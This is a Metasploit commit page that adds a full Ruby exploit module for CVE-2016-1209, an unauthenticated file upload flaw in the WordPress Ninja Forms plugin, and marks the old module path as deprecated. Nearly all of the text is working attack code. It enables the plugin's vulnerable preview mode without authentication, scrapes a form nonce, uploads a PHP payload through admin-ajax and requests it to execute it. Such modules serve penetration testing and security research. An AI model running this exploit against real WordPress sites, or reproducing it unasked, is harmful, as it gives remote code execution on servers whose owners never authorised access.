Land #7549, Deprecate/move wp_ninja_forms_unauthenticated_file_upload
commit
4f323527c9
|
@ -0,0 +1,176 @@
|
|||
##
|
||||
# This module requires Metasploit: http://www.metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'WordPress Ninja Forms Unauthenticated File Upload',
|
||||
'Description' => %(
|
||||
Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
|
||||
an unauthenticated file upload vulnerability, allowing guests
|
||||
to upload arbitrary PHP code that can be executed in the context
|
||||
of the web server.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'James Golovich', # Discovery and disclosure
|
||||
'Rob Carr <rob[at]rastating.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2016-1209'],
|
||||
['WPVDB', '8485'],
|
||||
['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
|
||||
],
|
||||
'DisclosureDate' => 'May 04 2016',
|
||||
'Platform' => 'php',
|
||||
'Arch' => ARCH_PHP,
|
||||
'Targets' => [['ninja-forms', {}]],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
|
||||
register_options(opts, self.class)
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_good(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
super("#{peer} - #{msg}")
|
||||
end
|
||||
|
||||
def check
|
||||
check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
|
||||
end
|
||||
|
||||
def enable_v3_functionality
|
||||
print_status 'Enabling vulnerable V3 functionality...'
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => { 'nf-switcher' => 'upgrade' }
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
if res
|
||||
fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
|
||||
else
|
||||
fail_with(Failure::Unreachable, 'Connection timed out.')
|
||||
end
|
||||
end
|
||||
|
||||
vprint_good 'Enabled V3 functionality'
|
||||
end
|
||||
|
||||
def disable_v3_functionality
|
||||
print_status 'Disabling vulnerable V3 functionality...'
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => target_uri.path,
|
||||
'vars_get' => { 'nf-switcher' => 'rollback' }
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
vprint_good 'Disabled V3 functionality'
|
||||
elsif !res
|
||||
print_error('Connection timed out while disabling V3 functionality')
|
||||
else
|
||||
print_error 'Failed to disable the vulnerable V3 functionality'
|
||||
end
|
||||
end
|
||||
|
||||
def generate_mime_message(payload_name, nonce)
|
||||
data = Rex::MIME::Message.new
|
||||
data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
|
||||
data.add_part(nonce, nil, nil, 'form-data; name="security"')
|
||||
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
|
||||
data
|
||||
end
|
||||
|
||||
def fetch_ninja_form_nonce
|
||||
uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => uri
|
||||
)
|
||||
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
|
||||
end
|
||||
|
||||
form_wpnonce = res.get_hidden_inputs.first
|
||||
form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce
|
||||
|
||||
nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce
|
||||
|
||||
unless nonce
|
||||
fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
|
||||
end
|
||||
|
||||
nonce
|
||||
end
|
||||
|
||||
def upload_payload(data)
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => wordpress_url_admin_ajax,
|
||||
'ctype' => "multipart/form-data; boundary=#{data.bound}",
|
||||
'data' => data.to_s
|
||||
)
|
||||
|
||||
fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
|
||||
vprint_error("Server responded with status code #{res.code}") if res.code != 200
|
||||
end
|
||||
|
||||
def execute_payload(payload_name, payload_url)
|
||||
register_files_for_cleanup("nftmp-#{payload_name.downcase}")
|
||||
res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)
|
||||
|
||||
if !res.nil? && res.code == 404
|
||||
print_error("Failed to upload the payload")
|
||||
else
|
||||
print_good("Executed payload")
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
# Vulnerable code is only available in the version 3 preview mode, which can be
|
||||
# enabled by unauthenticated users due to lack of user level validation.
|
||||
enable_v3_functionality
|
||||
|
||||
# Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
|
||||
# page that contains a form generated by Ninja Forms.
|
||||
nonce = fetch_ninja_form_nonce
|
||||
|
||||
print_status("Preparing payload...")
|
||||
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
|
||||
payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
|
||||
data = generate_mime_message(payload_name, nonce)
|
||||
|
||||
print_status("Uploading payload to #{payload_url}")
|
||||
upload_payload(data)
|
||||
|
||||
print_status("Executing the payload...")
|
||||
execute_payload(payload_name, payload_url)
|
||||
|
||||
# Once the payload has been executed, we can disable the preview functionality again.
|
||||
disable_v3_functionality
|
||||
end
|
||||
end
|
|
@ -10,6 +10,9 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
include Msf::Exploit::FileDropper
|
||||
include Msf::Exploit::Remote::HTTP::Wordpress
|
||||
include Msf::Module::Deprecated
|
||||
|
||||
deprecated(Date.new(2016, 12, 10), 'exploit/multi/http/wp_ninja_forms_unauthenticated_file_upload')
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
|
|
Loading…
Reference in New Issue